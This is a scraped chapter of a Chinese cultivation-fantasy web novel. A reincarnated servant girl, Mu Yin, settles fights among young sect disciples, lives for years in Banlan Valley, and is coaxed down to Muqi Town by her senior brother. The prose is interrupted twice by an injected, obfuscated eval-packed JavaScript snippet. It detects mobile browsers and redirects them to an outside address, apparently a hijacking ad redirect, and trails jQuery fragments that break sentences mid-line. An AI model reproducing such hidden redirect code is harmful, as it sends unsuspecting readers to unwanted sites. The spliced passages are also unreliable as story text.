“裴罄然,你疯了吗?我在替夫子教训这家伙!夫子都被他气走了!你也要气走夫子吗!”小胖子越说越觉得自己占理,小眼睛从□□里睁大,狠狠瞪过去。 没想到,他反被裴罄然凶恶的眼神吓了一跳。 “人都气走了,关我屁事!夫子不可以提前下课吗?他既然没说理由,关他何事?滚!”恶狠狠教训小胖子一顿,裴罄然用力甩开他的手腕。 “啊!裴罄然你个泼妇!看你长大了,谁敢娶你!” 小胖子捂着被桌角磕红的手腕边喊边退,急红了脸。余光扫到大开的窗户窗棂,他迅速转身,“嗖”一下跳窗而逃。 情况转变太快,一群跟着看热闹的小孩都被这架势吓懵了。 裴罄然撸起袖子,攥紧拳头,挨个看过去,小跟班们个个哇哇大哭,跑的跑,跳窗的跳窗,还有两三个躺在地上,伸胳膊蹬腿耍赖不走,将周围一片的桌子踹翻。 木音努力护住仅剩的一块笔记,在一群废墟中寻找下一个落脚地。 另一块没用到的石板被她先一步送到靠前的桌子上,留作下一次课使用。 裴罄然一脚踢在最近小孩的屁股上,小孩爬起来往外跑,路过前排,一看有块石头,立即抓起来朝裴罄然扔过去。 木音:…… 这孩子的准头实在太差,竟然扔向八竿子打不着的明梵音。 明梵音不愧为世家公子,稳稳握住石板,连头发丝都没碰到,神色依旧冷若冰霜,看不出喜怒。木音刚为幸存的石板松口气,只听“咔嚓”一声脆响,石板粉碎,碎屑洋洋洒洒落满地。 小孩嗷嗷哭叫,双手双脚并用,跌跌撞撞往外跑,鼻涕眼泪糊得满脸都是。 明梵音轻轻“切”一声,朝裴罄然说道:“耍完威风就早点回去找你师尊认错,今日之事闹得太大,十三峰都有弟子在这。含韵长老虽是掌门的同门师妹,但这十三峰中总有几个长老脾气不好,还是要早点想法子摆平此事。等人家上门问罪,你绝对免不了一顿责罚。” 裴罄然一手揽住惊魂未定的墨廷翰,娇气地“啧”一声:“一人做事一人当!你个黑心的家伙能有什么好主意,我师尊要是知道我把其余十二位长老的弟子都得罪了,还能放我出来?你摆明了就是想坑我,我才不上当呢!” 表哥说,能上树掏鸟窝的能是什么好鸟,都是坏人,都不能信! 热血上头的裴大小姐已经忘记,当年她表哥掏鸟窝被抓包,想用这番话遮掩过去,不消一刻,院中就传来男孩子的哭叫声,她当时还拿着糖葫芦去表哥面前炫耀来着。 明梵音早已习惯裴罄然的脾气,一边将桌子摆正,一边走到裴罄然身边。 他不急不缓地问:“那你想怎么办?去找掌门?这位弟子只是泰来峰的记名弟子,将今日事由推到他身上,让掌门护住他?希望渺茫。” 墨廷翰低下头,用袖口擦干眼泪。 裴小姐说得对,一人做事一人当,今日之事他也有责任。 他走上前,道:“今日,多,多谢裴小姐解,解围,剩下的,就不麻,麻烦了。” “裴小姐姐?这个叫法不错,你是第一个这么叫我的,以后都这么叫,知道吗?作为交换,这一次,我罩着你。”裴罄然重新将墨廷翰揽过去。 木音一边摆正桌子,给自己清出一条道,一边想,这裴罄然和明梵音同为名门子弟,倒是义薄云天,若是她们身份相等,或许可以结交。可惜,她只是一个杂役,侥幸有机会读书识字,离开水云门,这辈子再难有交集。 明梵音面若寒霜,嘴角留有一丝笑意,下垂的袖口遮住他攥紧的拳头。 有时候,他真想把裴罄然的脑子扒开来看看装的是什么,一天到晚净给自己惹麻烦! 裴罄然光看表情就知道这家伙在讽刺自己自不量力。之前的不算,这一次她是仗义出手,要是被罚,她以后在水云门可怎么混啊?可是,师尊未必愿意听自己解释,而且,师尊信奉清净无为,更不会揽下这桩事。 情急之下,她脱口而出:“实在不行,我就找表姐!” 小手一挥,指向走到门口的木音。 木音:? 这个表姐,是她以为的那位吗? 明梵音气笑了:“你找玉清风护你?且不说她的斑斓谷没有绮珊长老坐镇,能有几分薄面镇住各大长老,你和玉清风一见面就打架,她看你可比我看你不顺眼多了。上次你们甚至拔剑相向,要不是看在两家的情面上,她那一剑定会取你性命。” 说到这个,裴罄然感觉两只耳垂热热的,脸上烫烫的。 她何尝不知道表姐的脾气,但事到如今,话都说出口了,不去也得去,她只能硬着头皮继续往下走。 全程看戏还被卷入其中的木音无奈给三人带路。 在云彩中飞行,她一遍遍在心里唾弃自己的脚,怎么就没多走快两步,怎么就把这三个不好惹的家伙带回来了! 斑斓谷离学堂不远,没一会儿就来到大阵入口。 一行人刚操控飞禽降落,还没落地,大阵自动打开,玉清风单薄的身影被白雾勾勒出来,在逐渐消散的雾中越发清晰,手里捏着眼熟的木简。 “玉前辈,这几位说要见你。弟子已将他们带来,先行告退。”木音恨不得说完就走。 玉清风和明梵音点头打招呼,再看另一边,局促的小男孩和自家丝毫不让人省心的表妹,心里一阵郁闷。总觉得这事儿要是处理不好,她今后十几年都不得安宁。 “你先别走,和他们一并跟我来。” 木音:逃跑计划,卒。 玉清风先将木音叫进屋内问清原委,再让木音把明梵音请进去,不知说了什么,二人很快客客气气地走出来。 躲在窗下听墙角的裴罄然猝不及防被抓个正着,又被玉清风以眼神威吓,委委屈屈走进屋内,没过多久,屋里响起裴罄然凄惨胜似杀猪的嚎叫声。 不用听墙角,听也听不清,坐在石亭里都能听见“姐啊啊啊姐啊啊”的哭喊声。 石亭里,三人面面相觑。 玉清风和木音说的是这三人怕是要在斑斓谷住一段时间,很快会有弟子来搭建屋子,让木音暂时留下来给人开门。也不知道她和明梵音说了什么,这人听裴罄然酷似杀猪声的干嚎,竟然有心情品茶。 至于裴罄然,一想到那姑娘耳朵上的疤,木音顿时觉得她俩说什么都不奇怪了。 三人中,只有墨廷翰坐立难安。 他踌躇一会儿,对明梵音行礼:“对不起,明师兄。” 明梵音没理他。 他转身又看向木音,想说想做什么不言而喻。 木音哪敢让未来的杀星给自己行礼,连连摆手,丢下一句“好像有人来了,我去开门”就跑了。 在大阵边缘吹了十几分钟冷风,她终于等到一行人带着灵猴御剑而来。 木音领着这群人来到竹屋。此时,玉清风、明梵音正在喝茶,墨廷翰和裴罄然两人哀哀戚戚挤在角落里,眼角都红红的,一看就哭过。 负责搭建竹屋的弟子上前一问才知这几位都要在斑斓谷常住,屋子要建大一些,还要留一定间距,免得扰人清修。 综合考量,这群人决定采用怀州一带的建筑风格。 作为怀州人士,墨廷翰自告奋勇去帮忙,而木音作为谷中唯一的杂役,自然也得帮忙,忙完还得打开大阵,将人送走。 玉清风的屋子也被拆了,扩大地基,她没有去处,就在竹林中开辟一块地方修炼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15089033|163616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 石亭里,明梵音和裴罄然说着说着就吵起来,吵着吵着就要打架。 无人敢劝架。 木音实在想不明白明梵音为何也要留下来。他在原著中没什么存在感,作为万兽峰峰主的嫡传弟子,他应该什么都不差,什么都不愁,今日出于小时候的情谊关心裴罄然,事成之后,不该回到万兽峰吗? 想不明白就不想,木音这个小小杂役送完人办完事,老老实实回到自己的住处。她住在离此地较远的悬崖之下,山谷中风声大,任凭他们怎么吵也不受影响。 第二日,木音收拾好石板,唤来大鹅,刚准备跨上去就见远处飞来一只纸鹤。 纸鹤在她脑袋上转一圈,突然口吐人言:“木音,速来我这。” 是玉清风的声音。 不知出了何事,玉清风的语气很急促,而且录下的语音中伴有很大的嘈杂声。 木音不得不放弃美好的学习之路,往竹屋方向跑去。 昨日刚建好的竹屋,今早一看,竹屋从南到北被一剑斜劈开,多亏那些弟子建房手艺高超,四间屋子彼此相连,互相依靠,才没有散成一片竹棍。 木音刚踏进中间的庭院就被剑光晃了眼。 裴罄然坐在地上哭,明梵音站在她前方,手持长剑,和庭院中的墨廷翰对峙,玉清风站在中间,虽然拿着剑,剑尖朝下,眉头紧皱,目光在两个男孩中间徘徊。 忽然,她瞅见赶来的木音,眼前一亮。 木音非常有眼色地走过去,悄悄把耳朵凑过去。玉清风叹口气,将今早的一出闹剧简单说清楚。 原来,墨廷翰一早醒来不知道为什么,先去敲了裴罄然的房门。他一看是明梵音来开门,误会了,当即拔剑相向。明梵音早已有未婚妻,于情于理,都不该在裴罄然房中留宿,更何况他们已经并非五六岁不知事的孩子。 玉清风知道裴罄然有认床的习惯,把自己的猜测说给木音听,但墨廷翰完全不听她解释。 情急之下,局面变成三人拔剑。 木音哑然失笑。 五六岁不知事?他们确实不是五六岁,也就多长一岁吧。 这群孩子还没从小孩的心理走出来,就急呼呼要当大人,难怪能闹出这桩事,哎~木音再一次感叹即将错过的识字课,尽快解决或许还能赶上,最起码也要把笔记抄下来。 “明公子和裴小姐是青梅竹马,这事情说清楚就好,为什么闹成这样?” 玉清风刚想解释,墨廷翰大声喝道:“青梅竹马又,又如何?我们已经有、有自己独立的房间、间,就该有男子应有的、的担当,姓明的,我知道你家、家实力雄厚,但你今日要是不给、给个说法,不对,要是你让裴小姐姐、姐做妾,我、我绝不会放过你、你。” “不是,这怎么就做妾了!”木音震惊了。 杀神的脑回路这么跳脱的吗?俩小孩,八字还没一撇,怎么就…… 玉清风递给她一个无奈的眼神:“所以我才叫你过来,你和他都是怀州人士,你们那是不是有什么特殊的习俗,就,嗯,那个,和我们知道的不一样?” 强势如玉清风,说到嫁娶之事,难免开不了口,也就不怪这事儿的关键人物裴罄然一直在哭。 木音摆出思索的表情:“我想想。” 眼下,她只能先想个说辞稳住裴罄然。至于怀州的风俗,她可不知道。书里的女主连正宫都没有,何谈嫁娶? 木音钻过围栏,走到裴罄然身边,将人连拖带拽拽进屋里,关门前对玉清风说:“玉前辈,你先稳住他们,我来和裴小姐聊一聊。” 闻言,玉清风心里松口气。 长剑轻鸣,一道剑光闪过,明梵音和墨廷翰几乎是同时手腕剧痛,等他们反应过来时,各自的剑已经落到地上。 长剑回到玉清风手中,随玉清风举起,横在两人中间,剑光凛凛。 屋里,木音使尽手段终于让哭红眼睛的裴罄然抬头,她刚想松口气,没想到两人一对视,裴罄然哭得更凶了。 本来就急着去上课的木音也要崩溃了:“不是,你哭什么啊!玉清风知道你夜里害怕,你出去说清楚,有她作证,今天就没这事,你有什么好哭的!” 哭声戛然而止。 裴罄然抬头,凶巴巴地瞪着木音,红红的眼睛像小兔子,毫无威慑力。 “你叫我表姐什么?玉清风?你不是一直喊她玉前辈的吗?” 木音:…… 行吧。 “那怎么了,玉前辈又不在这。” 裴罄然拉她蹲下来,两人缩在桌下,裴罄然伸出一根小拇指:“现在你知道我的秘密,我知道你的秘密,我们彼此保密,谁都不说。拉钩?” “……行。”朦朦胧胧中,木音感觉自己似乎抓到这事儿的关键。 和裴罄然达成约定,这姑娘很快不哭了,就是说什么也不同意出去,问就是丢人。 木音一个人出去,和玉清风小声嘀咕一会儿再回来,拉着裴罄然往门缝那边凑:“你看,玉清风说是要帮你‘报仇’,狠狠欺负一下墨廷翰,你来看。” “真的?我表姐能这么好?”裴罄然将信将疑凑过去。 从门缝往外看,玉清风操控飞剑将墨廷翰吊起来,明梵音不知从哪儿捡来一根长宽都很合适的竹枝,一下一下抽在墨廷翰背上,次次见红。 “啊?他们怎么合起来欺负人?”裴罄然怒了,一把推开门。 谁知右脚刚踏出去,庭中两人哈哈大笑,裴罄然一愣,话到嘴边还没说出口,只见飞剑一抖,墨廷翰掉下来,跟着两人笑起来。 “你们……是你?”前因后果想一遍,裴罄然发现自己被木音摆了一道。 这家伙从进门就开始算计自己了! 门梁上飘下一张符箓,随风而燃。玉清风收回灵力和飞剑,笑着解释道:“你不愿意自己说清缘由,我只能用扩音符将你在房里的话放出来。” “玉清风!”裴罄然又恼又羞,大吼一声,挨个指着四人:“你!你!还有你!不许把今天的事说出去,要是让别人知道一星半点,你们死定了!” 回应她的,只有庭院里越发响亮的笑声。 误会说开,独留玉清风一人在家等人来修缮房屋,他们四个则赶回去上课。 此时,课程已经过半。 坐在蒲团上讲课的人不是白须白眉的老夫子,而是一个温润儒雅的少年,名叫言则,是鄂长老的小弟子。 听言则说,老夫子突然感知天命,决定闭关修炼。 闭关前,他交给言则一张字条,让他转交给怀州故人的徒弟——墨廷翰。既入师门,不得有两位师尊,这是规矩。言则将夫子的话和字条交给墨廷翰时,那孩子眼眶迅速红了。 他在心里叹口气,转身回去上课。 若非师尊要求,他实在不想来。任他怎么想也想不通,木音一个杂役竟然能来这里上课。 每每看到木音那双求知若渴的眼神,他都会忍不住想起长跪在师尊门外的子兰师姐,顿时心生厌烦。 自上次夜谈后,子兰师姐自请下山,似乎已经决定不再回来。他初入山门时,子兰师姐对他多有照拂,多年来,他一直心怀感激。子兰师姐天资聪颖,此举无异于自断长生路,怎能不令他生恨?可他也无可奈何啊。 18. 18 小学堂的课只有两年。 从言则夫子第一次来上课起,木音就有预感:自己这个老夫子的眼中钉,终于变成新夫子的肉中刺。 果不其然,接下来不到两年的时光,木音总会被言则夫子以各种各样的理由罚去抄写。 有时是因为腰带没有精准地系在左手腕两寸处,有时是因为进门左脚先行,还有一次,木音记笔记掸落的灰尘太多,半空中浮起一层白烟,引起教室骚动,言则厉声喝止,气呼呼地将人赶出去。 不过,木音对他并没有太多不满,这种“特殊待遇”她已经习以为常。 而且,言则夫子会先讲字词,再讲地志风物,两节课中间的休息时间用来处理这些琐事,没有耽误她记笔记。 偶尔在玉清风的竹屋庭院休息片刻,聊到这事,木音一字不提言则夫子的不好,常常引来裴罄然的白眼和驳斥。这位义薄云天的小姑娘三番五次因为这些鸡毛蒜皮的事顶撞言则夫子,然后和木音一起被赶出课堂。 木音实在不好意思,私下里好几次劝她不要管,但她总是说着“我们可是朋友,怎么能不管”的话,让木音无话可说。 木音匆匆忙忙活了二十几年,从没见过这种朋友。 学生时代被老师罚到教室外,能在下课后继续和她说话的人寥寥无几,更何况是帮她出头的人。她的朋友只有短程票,下车时连挥手都看不见。或许,这个“朋友”仅限于他们都住在斑斓谷,算半个室友。 裴罄然,明梵音和墨廷翰在斑斓谷小住九年,和木音勾肩搭背、一起四处惹事。 九年后,玉清风以虚岁十六达到炼气大圆满,震惊三派,一时间,水云门再度门庭若市,恍如当年收徒之日。这三人的师尊似乎突然想起来斑斓谷还有自己那不省心的徒儿,一纸调令将人拽回去,生怕打扰玉清风筑基,引得绮珊长老不快。 斑斓谷迎来久违的清净,也有些寂寞。 木音将细粉混入水中,给生长在边缘地带的灵植浇水,再乘坐飞羽回去。 飞羽是绮珊长老意外获得的灵宠,送给玉清风做坐骑。这九年里,绮珊长老只传信回来一次。她在外游历,听闻玉清风的双亲添了一个儿子,便将这消息传回来。一并送来的,还有一只幼年麒麟。玉清风给这小东西取名为“飞羽”,一字不提回家之事。 那段时间,斑斓谷没有收过玉家的传信。 而这一次,从玉家来的传信木简格外执着。木简一枚接着一枚飞来,足有十几枚,在斑斓谷大阵外飘荡,久久不愿离去。 飞羽好几次想跑到阵外将木简踢下来玩,都在紧要关头被木音拽着头顶的一撮毛硬生生拽回来。 小麒麟生气了,一翻肚皮,耍小性子赖在地上不走。 木音抬头看看天上的木简,再看地上的飞羽,心里直叹气。她隐约感觉到玉清风和玉家之间的隔阂,自然不能自作主张收下木简。 就在这时,储物戒指中快放出灰的木简堆里传来震动。 这个时代的木简相当于木音上辈子的诺基亚。对于她这种阴暗宅女而言,木简的功能太鸡肋,毫无用武之地。 今天不是发放资源的日子,裴罄然他们三个也早已传来音讯,即将闭关冲击炼气大圆满,乃至筑基。本该是最清闲的时候,怎么会有人找她呢? 木音隔空画符,将蠢蠢欲动的飞羽困住,再从储物袋中取出木简,其上赫然写着熟悉的三个字:赵飞衡。 大师兄! 木简只有简单的一句话:“木师妹,我在大阵入口处,可否出来一见?”客客气气,一如大师兄以往的风格。 木音火速将飞羽送回去,然后换身没有异味的衣服,直奔大阵外。 当年,玉清风从传信来的木简中发现其师尊绮珊长老的临时落脚点,传过一封音讯,其中包含了将木音引为记名弟子之事。 这封信的答复由掌门转达。 木音顺利成为斑斓谷绮珊长老的记名弟子,不用见谁都前辈长前辈短的喊,只是,玉清风再没有主动给师尊传信,似乎,她传信就是为了这件事。那几天,木音一有空就去厨房,想给玉清风做点上辈子流行的点心,可她忘了这是修仙世界,几番操作差点把厨房炸没了,还被裴罄然一连嘲笑好一天。 大阵开启,木音远远望见大师兄的身影,周身有一股神韵萦绕。立即收起发散的回忆。 她常年留在斑斓谷,对外界的消息全都来源于裴罄然三人。关于大师兄一甲子内顺利结丹之事,她早已耳闻。不过,大师兄和玉清风很少打交道,算半个陌生人。 也不知大师行今日特地跑来所为何事。 木音上前行礼,先行吹一波:“弟子恭喜大师兄顺利结丹,大师兄天资卓越,假以时日,必定力压昆仑派、长崎派那两派掌门的大弟子。” “师妹谬赞了,我这次也是侥幸寻得机缘。”赵飞衡含笑看着木音,当年的小姑娘已经出落得亭亭玉立,个子也快到他肩膀。 他从储物袋中取出一卷拓印的木简,递给木音:“这是我当年冲击筑基时的经验,里面还有师尊的叮嘱,对玉师妹筑基有利无害。绮珊师叔不在,师尊希望我多多照拂玉师妹。” 原来是送考前小抄的。 木音双手接过木简,恭恭敬敬道谢,承诺一定尽快送到玉师姐手中。 “甚好。” 赵飞衡继续笑吟吟地说:“之前我进入的秘境有诸多珍宝和奇兽,不少修士得到机缘。再加上,大隋朝过几年在怀州之地举行祭天大典,届时或许还有机缘,定会有修士去观礼。我水云门距离怀州不远,他们打算在木旗镇修整一番。听说他们商议要举办交流会,木师妹可有兴趣参加?” 参加个鬼!炼气期的实力,去哪儿都不安全。木音面露难色,琢磨着怎么把这事儿合情合理地推了。 她这副表情全落在赵飞衡眼中。 要是不亲自来,他敢保证,木师妹绝对不会下山。 当年在山下偶然遇见,一步错步步错,酿成今日两人间略有些尴尬的气氛。一想到这之后的连环效应不仅影响玉师妹,还让师尊多日来愁眉不展,赵飞衡更加坚定将人带下山的决心。 他舍下脸,哪怕用威逼的方式也要将木师妹带下山,去木旗镇走一走,将当年之事说开。 “多谢大师兄好意。弟子还是炼气期,就算去也得不到什么宝贝。”木音婉言拒绝。 直觉告诉她,大师兄这次来得蹊跷。恐怕送木简是其次,约她下山才是目的。可她有什么好图谋的呢?她就是平平无奇一个记名弟子啊。 以防万一,木音再上一个保险栓:“弟子深知自身实力不济,纵使侥幸得到宝物,匹夫无罪,怀璧其罪,只会徒增烦恼。” “好一个‘匹夫无罪,怀璧其罪’。师妹既然不敢逆势而行,又为何修仙?修仙,本就是与天争,与地抢。师妹在斑斓谷清修多年,莫不是忘了当年的话?”赵飞衡朗声问道,语气中多了几分苛责。 木音心里直呼好家伙。 一提当年之事,她就知道这次猜对了。 私逃下山的事在掌门那儿过了明路,但杀人魔的存在始终是个定时炸弹。按照大师兄当时的说辞和态度,掌门似乎和杀人魔有渊源。裴罄然曾打听过木旗镇的后续,山门内压根没有那夜肆意杀人之人,也没有掌门挚友来访。 要是掌门对杀人魔并不知情,大师兄现在随口一提,水云门很有可能为了名声牺牲一名普普通通的记名弟子;要是掌门知道,木音在他心中就是会走漏口风的不安定因素,一旦撞到他手上就完蛋。 在水云门九年,木音安安分分躲在斑斓谷,没有半点儿对山下的念想……除了偶尔托裴罄然的关系卖几幅画,攒点日后下山做生意的本钱。 “大师兄教训的是,那弟子就恭敬不如从命了。”左思右想,木音决定先将大师兄稳住,再找玉清风这个顶头上司说说。 目的达成,赵飞衡爽快定下约定:“好说,明日,我来接你。”说完,他御剑离开。 木音火急火燎拿着木简冲向竹屋,找玉清风。 竹林里,玉清风正在练剑。 “大师兄送的?”她收剑入鞘,接过木简,用神识探查其中的内容。 不一会儿,木简又被丢回木音怀里。 玉清风懒洋洋地说:“的确是一些修炼感悟,对我用处不大。我筑基是水到渠成,自然而然,不需要这些技巧。这东西留给你,你也快要筑基,过几日和我一起闭关吧。” 木音心里发苦。 真是时也命也。上一次玉清风提起闭关之事,木音拒绝了。她一个炼气期七阶的人,和一个炼气期十二阶的人一起闭关冲击筑基,不怕说出去成为千古笑柄,就怕一闭关几年都不能出来。 她是宅女,宅女也得晒太阳,干点手工活,逗逗小麒麟的呀。 现在,她是想立马闭关也做不到。 思量一番,木音换个口吻将刚才在谷外的一番对话说给玉清风听,力求撇清自己和大师兄之间的联系。 日月可鉴,这完全是大师兄临时起意的行为! 玉清风听到交流会一事,面露思索之色:“如果这些人真是从那秘境出来,那秘境能助大师兄结丹,其中的宝物定然不少,能活着出来的修士心眼子极多。你去捡漏,可能性微乎其微。恐怕是大师兄想单独约见你,交流会只是个借口。墨廷翰他们三个最近才走,你也没做什么,他怎么找上你呢?” “他怎么找上你呢”,木音一听这种话,后背顿时凉飕飕的。类似的话,上辈子她听得可太多了。气急败坏之下,再来几个巴掌也是常事。 玉清风抬手摸木音的头。 九年里,她长得很快,一直比木音高一个头。一看见木音胆小瑟缩的样子,她就忍不住想摸摸她的头。 “可我只和泰来峰送储物袋的陈师姐比较熟,和大师兄……这九年里,我都没和他见过几次。”木音可怜兮兮地叹口气,眼巴巴地看着玉清风,就指望她一句话将自己留下。 谁知,玉清风冷不丁来一句:“大师兄素来名声在外,罄然说有不少女修仰慕他,要是这次就你们二人,恐怕明日大阵上空就会多几道下战书的木简。” 木音:…… 咋?怀疑她撬了你的墙角?她刚刚那些话是白说了吗! 木音长叹一口气,一肚子憋屈劲儿在玉清风一下一下摸头顶的温柔力道下慢慢散去。 去?万万不能。不去?好像没有合适的理由拒绝。 下一句,玉清风的态度陡转直下,隐约还有一丝笑意:“但这未必就是坏事。大师兄结丹之后会有很长一段时间留在门内,我,裴罄然,明梵音,裴罄然,陆陆续续都会闭关。你若无聊,或是有事相求,都可以去找他。” 这话说得怪怪的,似乎有哪里不对劲,可木音来不及细想,现在满脑子都是:完了完了,这一趟,她是非去不可,没有转圜的余地了。 “我,我能不去吗?”她挣扎着,试图再抵抗一下。 玉清风笑眯眯地从储物袋中掏出不少符箓和药瓶,还有几本功法,一一递给木音:“大师兄出身普通,是掌门捡回来的孤儿。门内事务繁杂,他代掌门处理已经超过十年,亲身进入的秘境足有三十个,其谋算早已不是我们能掌控的。当下我们要做的就只有一个——以不变应万变。” 木音数了数手上的三十张神行符,三十张爆破符,三十张破土符,八瓶滋补灵力的丹药,两本步法秘籍和两本阵法秘籍,对玉清风说的“以不变应万变”产生了深深的怀疑。 伤害力惊人的爆破符不管是和神行符还是和破土符组合起来,都是打游击的绝佳装备,再加上丹药的超强续航,简直绝了! 这难道是让她去山下浑水摸鱼,暗杀大师兄? 不该啊。这九年里,她刻意减少玉清风和外界的接触,鼓励她平时多和裴罄然他们走动,绝对没有故意制造大师兄和玉清风敌对的意思。 “玉师姐,你讨厌大师兄吗?” “不讨厌。”玉清风清点储物袋的动作顿了下,她想了想,再添一句:“但也不喜欢。” 闻言,木音松了口气。 玉清风和外界接触变少,发展恋情的几率大幅度降低,心理成长一路顺遂,一定概率上可以避免了原著恶心的烂尾结局。事情发展得如此顺利,完全没有上辈子看的小说里那些天道阻隔、飞来横祸之类的事,简直太正常、太完美了! 为了进一步拖延,甚至是扭转水云门覆灭的惨案,木音时不时讲一些小故事,掐灭她产生圣母心的丝毫可能性。 “潜移默化教育法”不仅用在玉清风身上,未来修无情道成为杀神的墨廷翰也经常被木音灌输一些小故事,类似桃园三结义的故事要多少有多少。 先不论毁人大道,天打雷劈那种言之凿凿的未来,单单是让一个有情之人修炼无情之道,这本就不合理,简直是丧心病狂。木音打心眼里不愿意看到墨廷翰那个憨厚老实的孩子走上这样的道路。 影响玉清风的未来,是为了活得更好;影响墨廷翰,单纯是她良心上过不去。 就在这时,一道木简带着破阵印记直接飞入竹屋。 玉清风揭开木简上的禁制,快速浏览上面的内容:“是明梵音来信。他已经下山,三年内不能回来,有事找他可以去他家。喏,地址。” 玉清风取出一块新的木简,将另一块木简上的一行小字拓印下来,交给木音。 “明师兄还没筑基,怎么能下山?一去三年,他师尊同意?”木音疑惑问道。 她仍记得前几日笑嘻嘻跑来的老头儿——鄂长老。鄂师叔先是称赞玉清风一番,然后领着明梵音离开。两人刚出大阵,雾气还没聚拢,老头儿揪住明梵音的耳朵,提着他,骂骂咧咧御剑离开。 师徒俩这关系真让人捉急。 “明梵音的母亲遭人暗算,身中剧毒,不治而亡。明梵音理当回去,鄂长老不会拦他。如今,明家既要举行丧仪,又要追查真凶,短时间内可能比较混乱。几年后的大隋朝祭天大典上,明家可能不会参加,或者派遣少数弟子去镇场面。”玉清风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15089034|163616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挥手将木简粉碎,扬去灰尘。 明夫人死因不明,明梵音有意通过玉清风探听玉家的口风,他想请玉家出手,共同探查死因。 玉清风虽在山上清修多年,但出生世家的警觉性并没有降低。她很敏锐的感知到此事或许与玉家有瓜葛,而且,能让明家张口求人的事绝对不简单。 她和玉家关系微妙,不想过多涉入玉家的事务。 玉清风从储物袋中取出一部分灵石,递给木音:“这些你也带上,明天和大师兄一起去山下看看,早去早回,避免过多肢体接触。” 木音有点尴尬,收钱的动作丝毫不慢,笑眯眯地塞进储物袋。 “避免过多肢体接触”这八个字还是她教给玉清风的,如今听玉清风一脸正气地用这八个字叮嘱自己,有种风水轮流转的微妙感。 第二日,晌午刚过,大师兄便传信过来。 木音乘坐大鹅,大师兄御剑飞行,两人一剑一大鹅离开山门,越过森林,直奔山下的木旗镇。 经过九年的发展,木旗镇更加繁荣,围墙扩建二十里,当年那片未曾得见的血气森森的林子不见踪迹,原地拔起连绵起伏的屋舍,屋前有田,四家间隔有一口水井,有强壮的脚夫行走其中。一切都在变得更好,欣欣向荣。 两人在镇外一片树林里降落。 “这九年里,师妹可曾下来看过?”赵飞衡收剑入鞘,从储物袋中翻出两个斗笠,自己戴一个,给木音一个。 木音摇摇头,目光落在破破烂烂的斗笠上。 属于手艺人的强迫症让她忍不住想给破草帽修修补补,但草帽上有一缕微弱的灵光闪过,英气逼人,生生扼住她的冲动。这东西定然不凡,还是别乱碰为好。 赵飞衡注意到她的小动作,笑着解释:“这个斗笠是法器,可以掩饰修为和容貌。在凡人眼里,师妹只是一个长相普通的小伙子。以后,师妹下山历练,类似的法器一定要多准备一些,以备不时之需。”说着,他抬手想给矮自己一头的木音戴上。 一只修长白皙的手挡住细碎的日光,在一片碧海中快速移过来。 “避免过多接触”八个字猛然跳出来,木音吓得一激灵,急忙接过草帽,不管三七二十一先扣头上。一股灵力自上而下覆盖周身,她眼前一花,转瞬间又恢复清明。这种感觉和她昨晚研究的迷阵有点像。 赵飞衡浑然不觉尴尬,自然地垂下手,抬脚往木旗镇的方向走去,边走边问:“师妹,这顶帽子戴着有没有不适?” “没有。” 木音真诚地赞一句:“大师兄行事真稳健啊。” 记得之前她侥幸拜读过的几本稳健流小说,书里的主角个个才智斐然,堪称苟中之王,算计人来,圈套一个套一个,让读者惊叹,让作者泪目。 现在一想,要是大师兄也这般天纵奇才,甚至比之更甚,她分分钟能哭出来! 树林距离木旗镇入口不过两百米,两人很快就走到城墙下。 入城有两个守卫,一左一右相对而立,挨个检查入城人员,收缴一定的钱财作为进入木旗镇的费用。 大师兄越过排队的人,直接和其中一个守卫交涉。 木音抬头看正门上俊逸潇洒的“木旗镇”三个字,城门下,是草帽也挡不住其卓越气质的大师兄和点头哈腰的守卫,一时间百感交集。 今天一定要早点回去!千万不能得罪大师兄! “两位仙长,请。”守卫一脸谄媚地迎上来,点头哈腰走在前面,一直将两人送进城。 相比那夜草草观望的人间炼狱,九年后的木旗镇至少扩大一倍,街道宽阔,游人如织。或许是交流会的缘故,不少人头戴斗笠,遮住面容。 他们两个青天白日戴斗笠的混在其中,丝毫不显得突兀。 赵飞衡领着木音走进一家茶馆,上二楼喝茶歇息。坐在窗边,木音一眼看就到斜对面一家旅舍,门口立一块石碑,石碑上刻着熟悉的四个大字“百里旅舍”。 “百里旅舍是大隋皇商百里家的根基产业,遍布全国,在这里看到,不足为奇。”赵飞衡提起茶壶,倒两杯茶,一杯递给木音。 木音轻抿一口,低眉顺目静静听。 忽然,她的余光扫到一队异常高大的车马停在百里旅舍堂前,驾车的马夫身着罕见的毛皮装,从高大的马车上走下来的男人比路上都要高一个头,肩膀比两个小女儿家的肩膀加起来还要宽。除了身材魁梧异于常人,他的头上还戴有奇异的头饰,裸露在外的肩膀上刻有莹绿色的符号,酷似图腾,又像是一种纹身。 后面的马车上陆陆续续走下来十几个男子,和领头的男人一样高大,但头饰和肩膀上的图案略有不同。 赵飞衡顺着她的目光看过去,轻声说道:“他们是塞北荒漠的牝族,首领被尊奉为弥梭。百年前,大隋打开国门,牝族派使者前来学习,逐渐融入大隋文化。可惜,就在几年前,牝族上一任首领在大隋境内身亡,牝族撕毁和平条约,年年进犯,边境战事不断。” 木音突然想起百里旅舍的血海,心里一阵阵发紧。 “他们怎么会在这?”她轻声问道。 